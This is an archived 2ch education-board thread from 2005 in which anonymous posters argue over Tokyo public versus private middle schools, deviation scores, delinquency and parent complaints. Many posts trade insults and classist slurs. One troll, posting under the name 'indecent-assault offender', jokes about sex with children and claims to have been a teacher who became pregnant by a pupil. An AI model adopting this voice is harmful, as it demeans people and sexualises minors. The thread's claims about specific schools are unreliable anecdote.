全国のコモンセンスはこれ!コンセサスはこうこう!って
名無し@教育板先生の見解にみんなが従わなければならんってのが
すごくおかしい。

170 :実習生さん:2005/04/04(月) 23:21:01 ID:oin+f3TA
確かに名無し@教育板は公立で辛い思いをしたんだろうよ。
大変だったな。不幸だったな。
しかし、それは「俺は公立で不幸だった」じゃ何故駄目なの?

自分が公立で不幸だった人生台無しになったからって
なぜそれがコモンセンスやコンセサスにならなければ満足しないの?


171 :実習生さん:2005/04/04(月) 23:22:49 ID:iUQwLBIU
>>165
貴様も結局は経験論、しかも実感のない見聞からとってるじゃねえか!

>べつにオレに限らず、分別ある大人なら、公立学校の先生ってのが良い人か悪い人かは別として、
>学校の中で問題があったときにどういう対応をするかってくらいは経験的にわかっていると思うが・・・

どういう経験ですか?それは日本全国津々浦々の公立中学に当てはまることですか?
具体的な統計、資料、理論、を出してください。

しかも、「分別ある大人」と「貴方」がこの「先生の対応」に対する認識についてなぜ共有していると
言い切れるんですか?妄想じゃないですか?

172 :実習生さん:2005/04/04(月) 23:23:01 ID:oin+f3TA
>>167
港区と渋谷区と千代田区以外に全部ヤンキーが満ち溢れてるわけでも
ないだろうけどな。

173 :名無し@教育板:2005/04/04(月) 23:23:26 ID:T2E3w3p7
>>168
そりゃおまえの理解力のキャパシティの問題だろ。

第一ここは公立中学の諸問題の解決法を論ずるスレではない(もしそういう議論があったとしたらそれはそれでよいとは思うが)。
「公立中学には問題が顕在する」っていう認識の段階まででしかないんだよね。
だって、さっきの優良住宅地区自慢厨みたいな香具師をはじめとした公立マンセーがそこで抵抗するからループしているわけよ(w
こっちはそれをもぐら叩きみたいにして叩いているんだから、いろんなところに飛んだってそりゃしょうがないだろ(w

174 :名無し@教育板:2005/04/04(月) 23:27:19 ID:T2E3w3p7
>>171
>どういう経験ですか?それは日本全国津々浦々の公立中学に当てはまることですか?
具体的な統計、資料、理論、を出してください。

>しかも、「分別ある大人」と「貴方」がこの「先生の対応」に対する認識についてなぜ共有していると
言い切れるんですか?妄想じゃないですか?

おまえさあ、こういうのは「馬鹿です」っ書いた名刺を配っているようなもんなんだよ。
おまえがそう思わないならそれでいいよ。



175 :実習生さん:2005/04/04(月) 23:29:06 ID:oin+f3TA
名無し@教育板は個人的な体験と一般論を混同している!

176 :実習生さん:2005/04/04(月) 23:30:20 ID:q1ffq004
公立がダメな地域は小学校からダメだと思います。

ここでは小学校は公立でも良いという意見が多いようですが、人格の形成に
大きな影響を与える小学校の環境のほうが中学校より重要ではないでしょうか。

177 :実習生さん:2005/04/04(月) 23:30:41 ID:iUQwLBIU
>>174
あら、逃げるの?
人を経験でしか語れない「自慢厨」と決め付けるような壊れロボット君が?

それとも君の部屋の中だけの「常識」とやらで済ますのかね

178 :実習生さん:2005/04/04(月) 23:32:06 ID:oin+f3TA
>>173
じゃ、ようするにここはお前の個人的な愚痴スレなんだな。
個人的な愚痴なんぞチラシの裏にでも書いてろよ。
>>174
俺の言う事がわからない奴は馬鹿、かい。w
それこそ馬鹿、阿呆、基地外の言い草でしかない罠。

179 :実習生さん:2005/04/04(月) 23:33:11 ID:QBtLrQkb
何か不毛な議論だなあ。堂堂巡りが続くだけ。
教育の問題は自分の価値観を変えることってまずないよね。
ところで>>172  ID:oin+f3TAさんは質問に答えてくれないのかな。

>>141の質問です。



180 :実習生さん:2005/04/04(月) 23:35:19 ID:iUQwLBIU
それから串通しのID:q1ffq004 に今までと全く関係の無い話題を出して
逃げるのはよしな。どうせ名無しが「紳士のアドバイス役」として出てくる予定だろうが(w

181 :実習生さん:2005/04/04(月) 23:35:40 ID:oin+f3TA
>>141
wwwww。確かにIDは違ってるけどねえwwwww

182 :名無し@教育板:2005/04/04(月) 23:35:57 ID:T2E3w3p7
>>169
>私立>公立だろうが公立>私立だろうが
そんなの各人の見解によって違うんじゃないの???

このスレの公立マンセーだって多くの点で、私立>公立はわかっていただろ。
そこまで馬鹿だったのはおまえくらいじゃない?
オレもおまえがそんな馬鹿だとは思っていなかったよ。
(今でも屁理屈こねすぎて逆噴射しているだけだと思っているけど)

ただ、ちょっと前までのおまえのように、自分、もしくは自分の親の非DQN認定が欲しくて、
場合によっては(金、地方その他の要因で)、公立中もやむを得ない・・・って話だったわけじゃん。

それこそ自分で「湯水のように・・・」とか言ってただろ?

23区に住んでいて、どこでもいけるような学力があって、金に不自由しないとしたら・・・
それでも自分の子供を公立に行かせるのか?(男と女で両方考えてみろ)

>全国のコモンセンスはこれ!コンセサスはこうこう!って
名無し@教育板先生の見解にみんなが従わなければならんってのが
すごくおかしい。

べつにオレの見解じゃないだろ。
おまえの見解もそうだったはずだが?


183 :実習生さん:2005/04/04(月) 23:37:55 ID:oin+f3TA
つーことで、ここは名無し@教育板のチラシの裏であるという事が
益々はっきりと判明したというわけですな。

何で「俺には公立が合わなかった」じゃ駄目なのか。w

184 :実習生さん:2005/04/04(月) 23:41:13 ID:oin+f3TA
俺は私立を否定はしない。

が、公立へ行くのも私立へ行くのも各人の自由。
これ別に変ってないけど??

馬鹿馬鹿って逆噴射してるのはお前。

185 :実習生さん:2005/04/04(月) 23:41:19 ID:q1ffq004
>23区に住んでいて、どこでもいけるような学力があって、金に不自由しないとしたら・・・
>それでも自分の子供を公立に行かせるのか?(男と女で両方考えてみろ)

是非公立に行かせたいです。
今の場所では公立に行かせることはできません。

186 :実習生さん:2005/04/04(月) 23:41:54 ID:QBtLrQkb
>>181
そう。だから何で同一人なのかなあと思って。

180にも 串通しのって書いてある。串ナントカってどういう意味なんですか?


187 :実習生さん:2005/04/04(月) 23:43:07 ID:oin+f3TA
ここはチラシの裏なので。

188 :実習生さん:2005/04/04(月) 23:43:09 ID:iUQwLBIU
こういうのを何て言うんだっけ?

確か、代償だとか昇華だとか…まあ自分ひとりの独り善がりの可能性のある結論を

世の中の趨勢に勝手に当てはめて、実際は小さい自分を大きく見せる

幼児的代償思考というべきか。

189 :実習生さん:2005/04/04(月) 23:44:30 ID:oin+f3TA
>>188
自分が不幸だったというのを認めたくないんだと思う。

190 :   :2005/04/04(月) 23:45:12 ID:ILZHmECC
好きで公立なんか行かね−よ。金がないんだけだ。

191 :名無し@教育板:2005/04/04(月) 23:48:23 ID:T2E3w3p7
>>184
自由とかそういう話じゃないでしょ。

どんな選択をしようと自由なのはあたりまえ。
その選択に対して、あーだこーだ評価しているわけでしょ。

自分の選択が賞賛されないから「何選んでも自由だろ」って開き直るのは、馬鹿の居直りによくあるが、まったくの話のすりかえ。

192 :実習生さん:2005/04/04(月) 23:51:48 ID:oin+f3TA
お前が他人の選択をあーだこーだと評価する権利がなぜあるの?

何で他人の人生までお前の思い通りにならないと我慢できないの?

193 :名無し@教育板:2005/04/04(月) 23:52:44 ID:T2E3w3p7
>>185
あんたもどさくさに紛れてわけわかんないこと書いているんじゃないよ(w


194 :名無し@教育板:2005/04/04(月) 23:54:42 ID:T2E3w3p7
>>192
>お前が他人の選択をあーだこーだと評価する権利がなぜあるの?

あのーーー
ここってそもそも他人の選択をあーだこーだと評価する場所なんですけど・・・・


195 :実習生さん:2005/04/04(月) 23:55:59 ID:oin+f3TA
>>194
そんな事誰が決めたんだよ?w

196 :名無し@教育板:2005/04/04(月) 23:58:44 ID:T2E3w3p7
>>195
>そんな事誰が決めたんだよ?w

何を今更・・・スレタイ嫁よ。


197 :実習生さん:2005/04/05(火) 03:30:22 ID:MzVP18ui
なかなか盛り上がってるなw


198 :実習生さん:2005/04/05(火) 03:44:12 ID:GrQSmXdE
2ちゃんねるで私立、公立について激しく討論。こんなとこで熱くなってなんかメリットあるの?w

199 :私立擁護派公立出身地底:2005/04/05(火) 03:45:57 ID:OVPX6Bj2
オレは私立に通っていた人が集まってるから
いろいろ話が聞けて(・∀・)イイ!!

200 :実習生さん:2005/04/05(火) 04:23:38 ID:4jHnmz5R
>>198
それをいうなら、2chをすること自体に意味があるのかどうかだがw

201 :実習生さん:2005/04/05(火) 04:55:04 ID:GrQSmXdE
あまりにもネットごときで真剣に語る人がいて驚いたからさー。まぁがんばって語ってくれやワラ

202 :実習生さん:2005/04/05(火) 09:21:02 ID:JCbzRUBQ
こういう2ch初心者時期もあった

203 :名無し@教育板:2005/04/06(水) 01:15:23 ID:4Zr7KBEh
しかし昨晩の

ID:oin+f3TA
ID:iUQwLBIU

は並外れたDQNだったな。
ふたりで同じように「串通して自作自演」という妄想を膨らまして勝手に話をすすめていたしな(w

しかし何でいつの間にか、オレが公立出身になっているんだろうか?
以前は底辺私立出身とか言われていたけどな(w




204 :実習生さん:2005/04/06(水) 01:19:09 ID:vQ/rNa2y
最近は気合いの入った公立マンセーコテが
出現しないよな。

205 :実習生さん:2005/04/06(水) 11:40:44 ID:qEdNbq2V
そうだよなあ
春だからか厨は沸いて出てくるが
面白いのが出てこない
香ばしいのが現れてくれないかねえw

206 :実習生さん:2005/04/06(水) 11:57:57 ID:rdsjTzsd
ってか公立行ってる奴って、何でケータイ持ってんの??国のスネかじって勉強させて貰ってんなら
規則ぐらい守れよって思う。破るなら金払え。税金の無駄だ。まぁ根本的に公立行ってる奴は必要ないと思う訳で。

207 :実習生さん:2005/04/06(水) 13:05:17 ID:vYyIwzpJ
誰でも入れる公立に入れて自慢している痛いばかがいるスレはここですか?

208 :私立擁護派公立出身地底:2005/04/06(水) 14:57:51 ID:40QkFEZv
>>206
で、一部の私立の奴が目指す大学が
国のスネをかじって勉強するための
国立難関大だったりするわけだが。

209 :私立擁護派公立出身地底:2005/04/06(水) 14:59:16 ID:40QkFEZv
>>205
私立擁護派でも痛くみえてしまう私立厨が湧いたぞ。

210 :実習生さん:2005/04/06(水) 17:19:30 ID:WrEsqYER
>>206
公立行ってる奴って、決して豊かでもないのにケータイやブランド物買ってもらてるの多くない?


211 :名無し@教育板:2005/04/06(水) 17:46:17 ID:4Zr7KBEh
ケータイやブランド物なんて豊かでなくても買えるだろ(w
ケータイなんか¥0 とかじゃん(w

今どきはケータイなんか小学生でさえ持っているよ。



212 :実習生さん:2005/04/06(水) 17:50:26 ID:Wum7nsXK
>>206
またそういうこと言うと私立が叩かれるから止めてね。
ケータイとかブランド物 その家の考え方によるよ。私立・公立関係なし。


213 :実習生さん:2005/04/06(水) 17:51:44 ID:Wum7nsXK
ごめん、>>206じゃなくて>>210ね。

214 :私立擁護派公立出身地底:2005/04/06(水) 18:01:43 ID:40QkFEZv
>>210
携帯やブランド物が富の象徴と考えているのかw

215 :実習生さん:2005/04/06(水) 18:12:13 ID:Wum7nsXK
>>214 
まあまあ、206さんや210さんは中学生ぐらいでしょ。
さすがに親にはそこまでの考えの人はいないはずです。
「富の象徴となり得るほどの物」は存在すると思うけど中学生や高校生が
身に付けたり出来ません。



216 :実習生さん:2005/04/06(水) 18:15:44 ID:vQ/rNa2y
単に皮肉で言ってるに決まってるだろww

217 :実習生さん:2005/04/06(水) 18:15:51 ID:BfA24yuF
>>210
親がDQNだから無理して子供に買ってあげるんだよ


って言いたいのか?

218 :実習生さん:2005/04/06(水) 18:16:43 ID:evs6s+0R
いまどきベンツだって普通の人が乗っている。
狭いマンション住まいで旧い型式のベンツに乗っている人もいる。
富なんて家を見なきゃわからんよ。

219 :実習生さん:2005/04/06(水) 18:20:53 ID:Wum7nsXK
>>216
もちろんね。

もうこの話題はやめよう。荒れる元。

220 :実習生さん:2005/04/06(水) 18:25:51 ID:W77QF0kl
「金持ちで私立に行っているやつに限ってなぜ大学は私立に行かないの?」と同じ議論だな



221 :強制わいせつ犯:2005/04/06(水) 19:23:19 ID:6cJr3SRO
おめえら、何不毛な議論やってんだ。
ガキなんちゅうのはやればいいのよ。
出したり入れたり。

222 :実習生さん:2005/04/06(水) 19:25:19 ID:N90D+Nh+
>>210
というよりは、それを自慢したがる、見せたがる
携帯はどうでもいいけどね
ブランドなんて、さりげなく身に着けるもの

公立→「どうだ、これは○○だぞ〜」「いいもの持ちやがってw」
私立→なんとも思わない。


223 :実習生さん:2005/04/06(水) 19:29:41 ID:evs6s+0R
>>222
>ブランドなんて、さりげなく身に着けるもの
そうですか。

>公立→「どうだ、これは○○だぞ〜」「いいもの持ちやがってw」
>私立→なんとも思わない。
それに一々反応するアンタも感度良すぎ。



224 :強制わいせつ犯:2005/04/06(水) 19:33:51 ID:6cJr3SRO
人間ちゅうのは動物よ。本能で生きるのよ。
私立も公立もあるか。
そんなことにこだわっているから、ストレスかかえて
幸せになれんのよ。少子化するのよ。
ピストンあるのみ


225 :実習生さん:2005/04/06(水) 19:38:26 ID:+bkan6fy
確かにブランドを自慢げにするやつは
DQNに近いものを感じるなw
あーはいはいわかりましたって感じww

それと、そもそも私立ではブランドごとき
なんとも思わないが、公立だと妬まれたり陰口叩かれそうw
「ねえ、知ってる?○○の家、車がベンツなんだってよ〜」
「マジかよ!けっ・・・」


226 :強制わいせつ犯:2005/04/06(水) 19:43:40 ID:6cJr3SRO
う〜む。おれのことを無視してるな。
実はな、私は元女教師だ。
教え子の子供を身ごもって、懲戒免職になったけど。
まじめに言おう。
私立だろうが、公立だろうが、教師にとって大事なことは
目の前の生徒とどれだけ深く関われるかということよ。


227 :実習生さん:2005/04/06(水) 19:56:34 ID:j3fiAiiC
ここでブランド、携帯などの事くらいで必死に書き込みしている人はもう一度小学校くらいからやりなおす事を進める。

228 :実習生さん:2005/04/06(水) 20:05:20 ID:VSzJQ1bK
高学歴家庭が持つ、学力の「初期的優位性」

統計的にこの初期的優位性の大きさを検討すると、父が非大卒の子どもがおよそ
50分家で勉強したときに、ようやく勉強量ゼロの父大卒の子どもの学力に追いつ
くことが推定された。
学習時間の階層差を考えると、現実にはこの初期的優位性を覆すことのできる子
どもはわずかでしかない。

229 :実習生さん:2005/04/06(水) 20:34:40 ID:+0REA6qk
ブランド者の反応の仕方、
私立→( ´_ゝ`)ふーん
公立→(゚д゚)えぇぇぇ??? 

230 :実習生さん:2005/04/06(水) 21:27:07 ID:R6rp4frm
348 :FROM名無しさan:2005/04/06(水) 12:56:03
347
だよな。
オレ旅行代理店にいたことあって、色々な客と接してきたけど、学歴とか会社ってあまり関係ないと思た。
東大にたくさん入学者だしている学校の遠足の付き添いしたことあるけど、バスの中はゴミ箱状態、雨降っているのに傘も差さないとかあったよ。
学歴に関係なく、よい社長や会社の人もたくさんいたよ。
旅って本性でるからな。 ここの仕事も勉強になるわ。
次の就職先入社が5月だからそれまでだけど。 ちなみに、うちの姉貴の会社、慶応出身のボンボン会長取引先にだまされて倒産したよ。

231 :実習生さん:2005/04/06(水) 22:53:01 ID:mt34LUwt
>>227
公立なんかでやり直しても一緒だと思われwww

232 :名無し@教育板:2005/04/06(水) 22:57:21 ID:4Zr7KBEh
>>230
>東大にたくさん入学者だしている学校の遠足の付き添いしたことあるけど、バスの中はゴミ箱状態、雨降っているのに傘も差さないとかあったよ。

こういう香具師って、結論先にありきだからねえ。
開成だとか麻布だとか東大だとか慶應だとか・・・その辺と接点を持つと、必死にあらさがしに走る。
「バスの中はゴミ箱状態」はまだ「悪口」として成立しているかもしれんが、
「雨降っているのに傘も差さない」って何だ?
じゃあ自衛隊はどうするんだ?(自衛隊員は制服で傘を差すことが禁止されています)

本人はそれがコンプだ(少なくとも他人にはそう思われている)と気がつかないんだよね。

233 :実習生さん:2005/04/06(水) 23:11:00 ID:W77QF0kl
塾や私立は自己中親からのクレームが凄いらしいね

成績が上がらないとすべて教科担当者の責任
教え方が下手糞だと「担当から外せ」と電話殺到
下手に叱ろうものなら叱った理由が正当なものであっても
「人権侵害だ」とクレームがくる

私立の自己中親と公立のDQN親は同質だねw


234 :実習生さん:2005/04/06(水) 23:13:34 ID:PAuIg+Pp
>教え方が下手糞だと「担当から外せ」と電話殺到
下手糞なんだったら当たり前だろ。そんな奴が教師やってることが問題。


235 :実習生さん:2005/04/06(水) 23:18:46 ID:QAQejogL
>下手糞なんだったら当たり前だろ。そんな奴が教師やってることが問題。

言いたいことは判るが、誰が客観的に教え方が悪いって判断しているんだ?
自分の子供の自己申告なら、それほどいい加減な情報源は無いなwww
それで必死にクレームをつけるなら、親子共々DQN確定。

236 :実習生さん:2005/04/06(水) 23:30:46 ID:W77QF0kl
>>235
そういうことね
なぜ親がクレームするの?ということね
それも1人や2人ではないらしいからね

237 :実習生さん:2005/04/06(水) 23:37:43 ID:VSzJQ1bK
公立DQN親も困るんだろうけど、私立クレーマー親も大変だよ。

238 :実習生さん:2005/04/06(水) 23:45:34 ID:+d32ja5o
チラシの裏らしくなってきたじゃないか!いい事だ。

239 :名無し@教育板:2005/04/06(水) 23:47:27 ID:4Zr7KBEh
またDQNの自己証明が始まったよ・・・それもタッグを組んで(ww

>>233
>教え方が下手糞だと「担当から外せ」と電話殺到

に対しての

>>235
>誰が客観的に教え方が悪いって判断しているんだ?
自分の子供の自己申告なら、それほどいい加減な情報源は無いなwww
それで必死にクレームをつけるなら、親子共々DQN確定。

はフォローになっていないじゃんかよ(ww
>>233では「教え方が下手だと」っていう事実が少なくとも>>233によって認定されているじゃんか。
子供の自己申告なんて誰も言っていない・・・>>235の勝手な妄想にすぎないな。

しかも「電話が殺到」ってことは、同じことを感じた子供が「たくさん」いたわけで、
「いい加減な情報」とは言えないだろうが。

教師の教え方に親が電話でクレームを言うことがいいとはいわんが、
>>235のアホなフォローと、それに

>そういうことね

と受けた>.236のDQN証明にはなっているな(w



240 :実習生さん:2005/04/06(水) 23:51:09 ID:eJFJBGi+
ここかな?
http://www.geocities.jp/bis_systems/flash.html

241 :実習生さん:2005/04/06(水) 23:52:00 ID:Wum7nsXK
>>233
>・・・凄いらしいね とのことですが
どこの私立校のことでしょう。
所在している区名と男子校or女子高を教えて頂けませんか。


242 :実習生さん:2005/04/07(木) 16:44:01 ID:B7bg2R+u
>なぜ親がクレームするの?ということね
金払ってるからだろ。当たり前やん。

>それも1人や2人ではないらしいからね
一人や二人ではない、ということは実際に下手糞だということやろ。







243 :実習生さん:2005/04/07(木) 18:17:05 ID:6ASrhLYx
話の流れを読まずにカキコ
近所の私立女子校が酷い。一応中高一貫。高校から募集はするけど少数。
偏差値は40代前半だからレベルは決して高くはないが
最底辺という事ではないと思う。
そこに通ってる生徒の話によると授業は崩壊状態。
10年位前まではあんまり頭が良くなくても大人しくておっとりした子が
多かったけど、最近は中学受験ブームで昔だったら公立に行ってたような女子が
親が金で塾に放り込んで後はお任せ、でも家庭でのフォローがない状態で
入学してくるパターンが多いらしい。
あんまり頭が良くなくて(3年進学塾に通ってこのレベル)努力する事も嫌い、
性格も我侭で派手好きなタイプが結構いる。

244 :実習生さん:2005/04/07(木) 18:24:24 ID:6ASrhLYx
校則は一応厳しい学校なのだが、あんまりきちんと守る子は少ない。
学校にいる間はスカートも長くしてるし、髪の毛も黒く、
メークもしてないが、放課後にトイレでスカートを腰の所で捲り上げて
ミニにし、髪をシャンプーで落とせるスプレーで茶色く染め、
厚化粧で変身する。
その格好で近所の大学付属男子校の校門前をウロウロしてナンパ待ち。
もっとも、そこの男子校も茶髪金髪ドレッドピアス腰パン眉剃り
登下校中の歩きタバコ自転車タバコなんでもありだけどね。
(そこは六大学の付属だから底辺ではないよ)

245 :実習生さん:2005/04/07(木) 18:30:27 ID:6ASrhLYx
そこの女子校の教師は少し前までは大人しい生徒の指導しか
した事なかったから、急に反抗的な生徒が増えても
どう対処したらいいかわかんないみたいね。
教師の方も急に厳しく振舞ったりしては見ても
性格がキツくて我侭で反抗的なニュータイプDQN生徒に
見透かされちゃってナメられるばかりらしい。
校則でイエローカード、レッドカード制度というのを取り入れて
何枚かカードが貯まったら停学、退学という形にしようとしたら
父母から生徒の人権に関わると大反対されたらしい。

246 :実習生さん:2005/04/07(木) 18:36:20 ID:6ASrhLYx
よくDQNっていうと
金髪・ジャージで学校のガラス割ったり廊下をスケボーで走ったり
ってイメージがあるけど
そういうのばかりがDQNじゃないと思うね。
目立たないだけで私立にもDQNは存在すると思うね。

DQNからの避難目的だけでレベルの低い私立へ行くっていうのも
疑問だね。


247 :実習生さん:2005/04/07(木) 19:12:32 ID:N5959AOY
あんたらよくDQNとかゆう2ちゃんねる用語平気でつかえるな。ちゃんと学校で標準語使いなさいって習わなかったの?

248 :名無し@教育板:2005/04/07(木) 19:22:19 ID:E5pV42xM
>>243-246
六大学の附属男子校って、慶應2校、早稲田2校、立教2校、明治1校、法政2校だけ。
そのうち近所に女子校のあるのは、早大学院か法政一高、ってか該当する女子校ってT女子学院しかないじゃん(w
(吉祥は今偏差値60あるし)
でもあそこって、四谷の結果偏差値33(二教科)で最底辺ですけど・・・

最底辺取り上げて揶揄するのもまあいつものことだけど、
はっきり言って、>>244-246での描写くらいはかわいいもんだよ・・・
私立もいろんな意味でレベルダウンしているんだけど、公立がもっとレベルダウンしているわけ。

そういう底辺女子校でさえ相対的には公立との比較で「まだまし」なんだよね。

一般に偏差値30台の私立中学に入るような子は、公立行っても、優等生ってことはほぼありえないわけ。
公立に入れてほうっておくとどうなるかはわからないわけで・・・そこはそこでそれなりのニーズがあるわけですよ。
お嬢さん女子校とか進学校とまた違ったポジションがあるんだよ。

ホント、その辺の小学生(高学年)とか見てごらんよ。やばいよ。
もうイナリ寿司だから・・・



249 :実習生さん:2005/04/07(木) 19:28:46 ID:6ASrhLYx
んじゃ、ヤンキーとでも言い換えてもいいけど。
とにかく、ここの女子校や大学付属男子校の周辺は
公立校でもとんでもないヤンキーは少数派…っていうか
ほとんど絶滅寸前だよ。
もう都会じゃダサいからね。ヤンキーなんて。
公立の方が内申が気になる分、ヤンキー度は更に少ないかも。
東京でも北の方、東の端っこの方はわからないけど。



250 :実習生さん:2005/04/07(木) 19:31:52 ID:6ASrhLYx
T女子学院ってどこだか知らないけれど
そこじゃないよ。頭文字は同じTだけど。
近所といっても同じ駅じゃないよ。同じ私鉄沿線で数駅離れてるって事だよ。

251 :実習生さん:2005/04/07(木) 19:36:36 ID:6ASrhLYx
そこの女子校の偏差値は40代前半だよ。
そこの女子校に公立中学から高校入学で入った子がいるけれど
自分の通ってた公立中学に比べても信じられないくらい荒れてるんで
(中入生が中心になって荒れていたらしい)
鬱になって一学期で辞めたらしいよ。
レベルダウンといっても一律に公立<私立という図式が成り立つわけでは
ないよ。


252 :実習生さん:2005/04/07(木) 19:41:47 ID:6ASrhLYx
あと、こういう女子校が最底辺というけれど
レベル的には低くても首都圏の中だけでも
こういう私立は数的にはかなり多い。
偏差値の高い所が必ずしもみんな真面目だとは限らないけれど
例えば偏差値50以上とそれ以下ではそれ以下の学校の方が
数的には圧倒的多数だと思う。
つまり、偏差値の上だけでも「レベルのまとも?な学校」は
最初から数の上でも限られた存在なのだと思うよ。

253 :実習生さん:2005/04/07(木) 19:54:38 ID:WQKf+j9s
>「レベルのまとも?な学校」は最初から数の上でも限られた存在なのだと思うよ。


俺は小中高通して痴呆の低レベルな公立育ちだったな。
まあ地元に進学重視の私立は少なかったし、地元一の名門公立高校に行けるのも
中学で成績トップだった一部の生徒だからね。
で、その優秀な高校に行けなかった他の高校出身者はどこに行くのかっていったら、Fランク大学とか専門学校とか。
地元民が誇る名門公立にしたって、ほぼ全ての生徒が偏差値50代の中堅私大や駅弁から早慶ぐらいまで
進めるぐらいのバラつきぶりで、東大合格者は2年に1人って程度のショボさだけど。

まあ世の中、高学歴になれるごく少数の公立の下には大多数のDQN公立があって、
そのゆとり三昧で育ったDQNが着実に社会に蔓延しているわけで。

254 :名無し@教育板:2005/04/07(木) 20:09:30 ID:E5pV42xM
>>250-251
偏差値40台が確かなら、スマソ。

四谷大塚の結果偏差値で40台で女子校でイニシャルTで、高校募集があり、沿線に六大学附属男子校(塾高@日吉、法政二@元住吉)があるのは、
玉川聖学院だけ。

まあ玉川聖学院が公立中より「ヤンキー」だとは思わないけど、ID:6ASrhLYxの言うとおりだとして、
それで困ると思ったらそういう学校に行かなきゃいいじゃん。


255 :実習生さん:2005/04/07(木) 21:41:04 ID:ZQMVzIrw
パチ屋、サラ金等の成金低学歴親が見栄で行かせている
私立にはやばいところが多い。
非常識ドキュソレベルでは公立と同格だが
金が有る分、非行も目立つ方向になりやすい。

256 :実習生さん:2005/04/07(木) 22:16:42 ID:5DF1nTgW
よく、公立より底辺私立に入れるほうが「よりまし」だという輩が見受けられるが、なぜ「よりまし」な程度でDQN非認定になるんだ?

一緒だろ?
ふつうは。

257 :実習生さん:2005/04/07(木) 22:20:08 ID:5DF1nTgW
>まあ玉川聖学院が公立中より「ヤンキー」だとは思わないけど、ID:6ASrhLYxの言うとおりだとして、
それで困ると思ったらそういう学校に行かなきゃいいじゃん。

じゃ、現在在学中の子供の親は、DQNなんですね。
こうやって、各種の情報集めて消去法していったら、全部当てはまって結局私立公立目くそ鼻くそだったりしてなw

258 :実習生さん:2005/04/07(木) 22:48:58 ID:ZQMVzIrw
結局、低学歴ドキュソ親の占める割合が校風を決めていると思われる。

そういう私立は成金系のドキュソが多く
三田佳子のガキみたいなのが溢れるようになる。
公立ではやはり葛飾や江東辺りの
犯罪者多発中学のようになるのだろう。

259 :実習生さん:2005/04/07(木) 22:50:00 ID:6ASrhLYx
玉川聖学院じゃないよ?あそこはDQNとまでは言えない学校。

名無し@教育板って事情通を気取ってる割には持ってる情報に
勘違いが多いし何にも知らないんだね。

それに、自分がそういう学校へ行かなければいい、とか
そういう問題じゃない。
ここで「私立私立と全部一緒くたの一まとめにして語ってる」けど
私立といってもその中にはその私立女子校みたいな
低レベル校だって「数としては決して少なくない」、と言いたいんだよ。
その学校だって表面的な評判はそんなに悪くないよ。
偏差値はそんなに高くないけどきめ細かく生徒を見てくれる、とか
言われているよ。

260 :実習生さん:2005/04/07(木) 22:54:35 ID:6ASrhLYx
私立は商売なんだからどこの学校もそれなりに宣伝はうまいよ。

けど近くに住んだりしてると、実体がよくわかるよ。

>>253
私立も公立も「選ばれた」(偏差値上の意味だけでも)学校なんて
所詮、極一部のものなんじゃないかな?

261 :名無し@教育板:2005/04/07(木) 23:36:14 ID:E5pV42xM
>>259
玉川聖学院しかあんたの挙げた条件にあてはまる学校はないはずだよ。
違うってことは、あんたの挙げた「事実」ってのがガセだったってことじゃないの?

>私立といってもその中にはその私立女子校みたいな
低レベル校だって「数としては決して少なくない」、と言いたいんだよ。
その学校だって表面的な評判はそんなに悪くないよ。
偏差値はそんなに高くないけどきめ細かく生徒を見てくれる、とか
言われているよ。

そんなことは折込済みなんだよ。
ババをつかまされるのがいけないのよ、自己責任。

ってか「その程度」=低レベルさ、くらいはわかっていると思うよ、行かしている親も。
あくまで公立中学と比べての相対的な問題なんだって。


262 :名無し@教育板:2005/04/07(木) 23:39:02 ID:E5pV42xM
>>256-257
ほーらまた日本語が読めない香具師がやってきたね(w




263 :名無し@教育板:2005/04/07(木) 23:54:16 ID:E5pV42xM
偏差値40台前半の私立中学なんか、御三家あたりから見たら、どこも目くそ鼻くそのたぐいでしょう。
ここにいる公立マンセーでさえそういう視点で見ていると思うよ、なまいきはなはだしいけど(w

しかし、もうちょっと想像力、思考力を働かせて見ろ。
自分の娘が、勉強苦手ってこともあるかもしれん。
公立マンセーは「本当に頭の良い香具師は・・・」って地頭云々のエピソードがとても好きなんだが、
逆の仮定は想像だにしないようだ。(そういうご都合主義がDQNのh特質なんだがな)
公立中学に行かせても、都立トップに行けそうにはなく、せいぜい3番めくらい・・・でもその下の都立なんて
イナリ寿司ばっかで中途退学もゴロゴロ・・・しかも小学校時代の3分の1くらいは私立に進み、
公立進学組のメンツを見たら・・・おいおい大丈夫か・・・ってのが現実だぞ。

そりゃー絶対的に見れば・・・こんなレベルで・・・って思うだろうが、それだって、近所のコンビニ前でオールする
ようになるよりマシじゃない?・・・っていう親心も理解できないかね・・・。
高いレベルでの選択に判断力が必要なように、低いレベルだからって判断を誤っていいわけではないのよ。

264 :実習生さん:2005/04/07(木) 23:58:43 ID:UjSxPnLd
>>253
よくわからんのだけど、
地元に進学系私立は少なかったのなら優秀な子も公立へ行ったって事だろ?
それで、なんで地元が誇る名門公立から東大が隔年1人なんてざま??

うち近所と 「地元に進学系私立が少ない」までいっしょだけど、
だからこそ地元が誇る名門公立からは旧帝以上に現役100人強/400人は合格するけど。

265 :実習生さん:2005/04/08(金) 00:03:59 ID:R8vXoo/Z
うちの子が通っていた小学校(公立)のクラスの男の子で私立に進学した子
は全員偏差値60以上の中学に進学しました。うち3分の2は65以上。
(女の子の場合は50前後の学校に進学した子もいました)

要は60未満の私立は行く価値が無いということなのかも。



266 :実習生さん:2005/04/08(金) 00:10:15 ID:xTid1g7T
>>265
関西エリアならそんなもん

267 :実習生さん:2005/04/08(金) 00:19:01 ID:R8vXoo/Z
>>266
東京です。

268 :名無し@教育板:2005/04/08(金) 00:31:24 ID:5W/zVL2P
>>265
>要は60未満の私立は行く価値が無いということなのかも。

逆でしょ。
一般論として、偏差値60未満の私立中に「行く価値」を見出せないのがDQNな親なんだよ。


269 :実習生さん:2005/04/08(金) 00:47:46 ID:2DHzjL2x
偏差値30だろうが70だろうが私立中に行く価値を見出さないからと言って
DQN親であると言う「 一 般 論 」は存在しない。


日本語の使い方…いや感情のコントロールを考えたら?
チョーシにのってると君直ぐチラシの裏レベルを書くでしょ?
いや元々やっぱりこのスレは君のチラシの裏なのね?

270 :実習生さん:2005/04/08(金) 01:14:00 ID:ykuTdq5w
公立の入試ってばかでもできるよな

271 :実習生さん:2005/04/08(金) 01:14:19 ID:EpVOwbIZ
低偏差値でもまともな私立中学はあるけどな。
確かに進学実績はイマイチになるが。
私立だとたいした事無いところでも同級生に一人くらいは
凄いのが混ざってたりする事もあって
それがなかなか子供の為になったりする。

勿論これは東京の話しだけどね。

272 :実習生さん:2005/04/08(金) 01:43:58 ID:moq0HPaj
>>270
公立中学に入試はない

273 :名無し@教育板:2005/04/08(金) 01:47:48 ID:5W/zVL2P
>>269
